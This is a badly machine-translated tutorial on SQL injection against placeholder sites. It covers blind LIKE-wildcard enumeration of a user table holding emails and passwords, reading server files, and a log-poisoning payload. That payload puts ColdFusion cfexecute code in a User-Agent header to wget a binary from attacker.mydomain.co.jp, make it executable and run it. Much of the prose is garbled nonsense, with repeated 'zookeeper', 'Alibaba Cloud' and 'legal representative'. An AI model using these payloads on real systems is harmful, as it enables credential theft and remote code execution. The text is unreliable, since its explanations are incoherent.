// SQL Injection tips
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SQL Injection when there are too many errors to judge when there are too many errors.
There are two possible causes for this problem.
Please do not select too many rows until there are too many rows between them, please choose too many rows between select rows directly until the result of auto Scaling
The screenshot indicates that the dynamic route operator is used in the dynamic route operator.
// Examinee
The algorithm sub-"=" and so on. When a row of conditions is met, the operator is compared with the operator, and the operator and operator are both connected to the scene,
When the problem occurs, the rows above the limit are returned.
For example, Zookeeper,
Where ~ AAA = incoming Force
Zookeeper joint venture,
Where ~ AAA = (2 rows or more results returns invalid rows select)
When there are already too many other users.
Oracle artificial intelligence, ORA-01427 (artificial intelligence. Zookeeper)
Too many errors,
Where ~ AAA = (select max (0) from Table1 Union all select 0 from Table2 where conditional)
Please refer to the following table for more information:
When zookeeper crashes normally.
// Like a sentence for convenience
The question "Q" cannot be SQL injection "cannot be found in web hosting too many Hoge. jsp scripts.
~ Where (~ AAA = 'qiniの '~)
AAA character text column type
Various categories have been determined whether the same sentence has been used to determine whether the cable can be used.
"%" Indicates the maximum number of characters between two characters. "_" indicates whether the number of characters is correct. If the number of characters in a specified region is specified, the number of characters in the specified region is determined.
Please refer to the following link for more information.
// テーブル
Http://www.somecompany.co.jp/hoge.jsp? Q = & #... ser % 25 '))--
--> Zookeeper Syntax: xxxxuserxxxx (XXXX contains any internal text column ).
Http://www.somecompany.co.jp/hoge.jsp? Q = & #... ser % 25 '))--
--> Invalid Syntax: userxxxx (XXXX contains any character text column) When syntax is used, there is always syntax
Http://www.somecompany.co.jp/hoge.jsp? Q = & #...; user _'))--
--> Normal: userx (X contains any plain text) indicates that there are too many plain texts.
Http://www.somecompany.co.jp/hoge.jsp? Q = & #... user __'))--
--> Normal: userxx (X contains any plain text) when the statement is used, there are too many plain texts.
Http://www.somecompany.co.jp/hoge.jsp? Q = & #... ser ___'))--
--> Normal: userxxx (X contains any text) indicates that there are too many tokens.
Http://www.somecompany.co.jp/hoge.jsp? Q = & #... er ____'))--
--> Fixed Syntax: userxxxx (X contains any text) when the statement is used, there is a limit: the number of words is determined.
Http://www.somecompany.co.jp/hoge.jsp? Q = & #... era ___'))--
--> Normal: useraxxx (any text in the X-ray format) indicates that there are too many characters in the syntax.
Http://www.somecompany.co.jp/hoge.jsp? Q = & #... ERB ___'))--
--> Normal: userbxxx (any text in the X-ray format) indicates that there are too many tokens.
...
Http://www.somecompany.co.jp/hoge.jsp? Q = & #... Eri ___'))--
--> Zookeeper Syntax: userixxx (any text in the X-ray format ).
...
Http://www.somecompany.co.jp/hoge.jsp? Q = & #... erinfo '))--
--> Zookeeper metadata: userinfo indicates that zookeeper has zookeeper metadata.
Of course,
Http://www.somecompany.co.jp/hoge.jsp? Q = & #... erinfo '))--
There are already too many other
When there are too many questions, just like the sentence when there are too many questions, just like a text in the text column when substr () when there are too many questions
The number of shard shards, shard.
During the next failover, there was no such change.
The same as zookeeper, Name authentication ID verification passed when there is a mail transfer between zookeeper and zookeeper.
// Zookeeper
Http://www.somecompany.co.jp/hoge.jsp? Q = & #... ame % 25 '))--
--> Zookeeper Syntax: zookeeper contains "userinfo" when using xxxxnamexxxx (XXXX contains any plain text column ).
The following hands are used together.
The most efficient operator is the operator.
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Userinfo
Email
Password
Name
ADDR
Tel
Sex
...
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Zookeeper and zookeeper have their own machine capabilities. zookeeper has been connected to zookeeper, Zookeeper and zookeeper,
Please refer to the following link for more information:
Which of the following statements is true.
// Zookeeper
Http://www.somecompany.co.jp/hoge.jsp? Q = & # ...ne.jp '))--
--> Too many characters: xxxx@fugafuga.ne.jp (XXXX arbitrary character text column) in the statement is too many characters exist too many characters are holding too many characters exist too many characters
The following is the same article.
In addition please wait until then OK.
(Please wait a few minutes before making sure there are too many reasons for your failure to log on to Alibaba Cloud)
The last two rows have been deleted.
// Zookeeper
Http://www.somecompany.co.jp/hoge.jsp? Q = &#...'_'))--
--> Normal
Http://www.somecompany.co.jp/hoge.jsp? Q = & #... #39 ;__'))--
--> Normal
...
Http://www.somecompany.co.jp/hoge.jsp? Q = &#...______'))--
--> Too many characters: too many characters too many 8 characters
Http://www.somecompany.co.jp/hoge.jsp? Q = &#...______'))--
--> Normal: when there are eight characters in length and a few characters in length, there are always too many characters in length.
...
Http://www.somecompany.co.jp/hoge.jsp? Q = &#...______'))--
--> Too many characters: too many characters, too many 8 characters, and too many characters
The following is the same article.
Zookeeper, and zookeeper,
Please refer to the following link for more information ;,
There are too many questions about these questions.
Please refer to the following link for more information.
When the attacker is on the scene, he or she is the top runner of the online shopping festival.
The automatic snapshot was used as a temporary errors. Zookeeper
When reading the example above,
~ Where ~ AAA = 'zookeeper Internal Force '~
AAA character text column type
Please refer to the following statements for more information,
~ Where ~ Bbb = commandid inflow force ~
Bbb serial number numeric type
Zookeeper joint venture, Zookeeper Joint Venture () Joint Venture Senior Legal Representative select intermediate Legal Representative okay.
The basic failover and Failover modes allow users to renew their hosts when their hosts () are completed,
When the incoming force of the testee and zookeeper falls into the starting position, there will be two rows between them. When the SELECT statement where clause has been executed, there will be two rows between them.
Yuan's select article has been written into the form of zookeeper, and he has been sentenced to a convenient combination of zookeeper and zookeeper.
Zookeeper, Zookeeper, and zookeeper
Make sure that there is no such problem. There is no such problem. Zookeeper
# Zookeeper uses zookeeper hybriddb for MySQL,
# When there is no such problem? when there is no such problem on the site?
Zookeeper and the upper-right analyticdb hybrid Oracle joint venture I would like to make a decision about zookeeper when there are too many zookeeper statements.
Zookeeper is the same as zookeeper.
The reverse sequence, the reverse sequence, and the reverse sequence were too large, and the reverse sequence was set.
Too many threads, too many threads, and too many threads in the SQL injection group.
Set whether or not the primary Primary Secondary.
Zookeeper, Zookeeper, and zookeeper are both named and zookeeper, and the legal representative judges that the zookeeper field has been connected to several other regions, and the legal representative has been confirmed.
(In the previous example, we have been talking about how to reduce the number of attacks.
Zookeeper zookeeper and zookeeper in the database.
When there are too many other users.
When there are too many threads, there are too many threads when there are too many threads,
When there are too many other than just two seconds, there are basically two seconds between them (& acute; commandid) then
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// The upper limit was reached when there were too many attempts when there were too many white-faced examples.
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Web tracking compression Hoge. cfm compression ColdFusion compression cfinclude compression.
When the problem occurs, the number of injection SQL statements is too large.
Please refer to the following link for more information,
Http://www.somecompany.co.jp/hoge.cfm? Id = Hoge
When a volume is added,
Select か, ファイル, か, from sometable where id = 'hoge'
Thanks to the SQL statement team, we recommend that you upgrade your SQL statements.
Zookeeper examples: zookeeper,
/// Etc/passwd without authorization
Http://www.somecompany.co.jp/hoge.cfm? Id = &... Rom + sometable --
It is possible that the website cannot be accessed.
Please refer to the following link for more information,
Zookeeper, httpd. conf already has zookeeper,
Http://www.somecompany.co.jp/hoge.cfm? Id = &... Rom + sometable --
The content of httpd. conf has already been confirmed,
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--- Snip ---
Logformat "% H % L % u % t/" % R/"%> S % B/" % I/"/" % I/"" combined
--- Snip ---
<Virtualhost XXX. XXX>
Servername somecompany.co.jp
Serveradmin admin@somecompany.co.jp
DocumentRoot/usr/local/Apache/htdocs/hogehoge
Errorlog logs/hogehoge_error_log
Customlog logs/hogehoge_access_log combined
</Virtualhost>
--- Snip ---
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ColdFusion cannot be written into tables,
(Http://attacker.mydomain.co.jp: 25/fuga1 was too large too many rows were too large.
Web tracking ColdFusion is made possible by means of oblique indexing and conversion)
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<Cfset myarray = arraynew (1)>
<Cfset myarray [1] = '-O'>
<Cfset myarray [2] = '/tmp/fuga1'>
<Cfset myarray [3] = 'HTTP: // attacker.mydomain.co.jp: 25/fuga1 '>
<Cfexecute name = '/usr/bin/wget' arguments = # myarray # outputfile ='/tmp/fuga2 'timeout = '30'> </cfexecute>
<Cfexecute name = '/bin/chmod' arguments = '+ x/tmp/fuga1' outputfile = '/tmp/fuga3' timeout = '1'> </cfexecute>
<Cfexecute name = '/tmp/fuga1' outputfile = '/tmp/fuga4'> </cfexecute>
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When the system crashes,
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Get, HTTP, 1.0
HOST: somecompany.co.jp
User-Agent: <cfset myarray = arraynew (1)> <cfset myarray [1] = '-O'> <cfset myarray [2] ='/tmp/fuga1 '> <cfset myarray [3] = 'HTTP: // attacker.mydomain.co.jp: 25/fuga1 '> <cfexecute name ='/usr/bin/wget' arguments = # myarray # outputfile = '/tmp/fuga2' timeout = '30'> </cfexecute> <cfexecute name = '/bin/chmod' arguments = '+ x/tmp/fuga1' outputfile = '/tmp/fuga3' timeout = '1'> </cfexecute> <cfexecute name = '/tmp/fuga1' outputfile = '/tmp/fuga4'> </cfexecute>
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Please refer to the following link for more information.
Http://www.somecompany.co.jp/hoge.cfm? Id = &... Rom + sometable --
When the rows are completed, the following values are obtained.
Http://www.somecompany.co.jp/hoge.cfm? Id = &... Rom + sometable --
During peak hours, the app was just a few minutes ago, and the parent and child were just a few minutes away.
Please refer to the following table for more information:
We have sent a large number of users who have already been connected to Alibaba Cloud.
Zookeeper examples include zookeeper, Zookeeper, and zookeeper. zookeeper is the same as zookeeper.
In the same way, we recommend that you think about the problem.
When talking about these problems, there are two major problems (& acute; too many) else
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Operation has been completed successfully (& acute; Operation has) since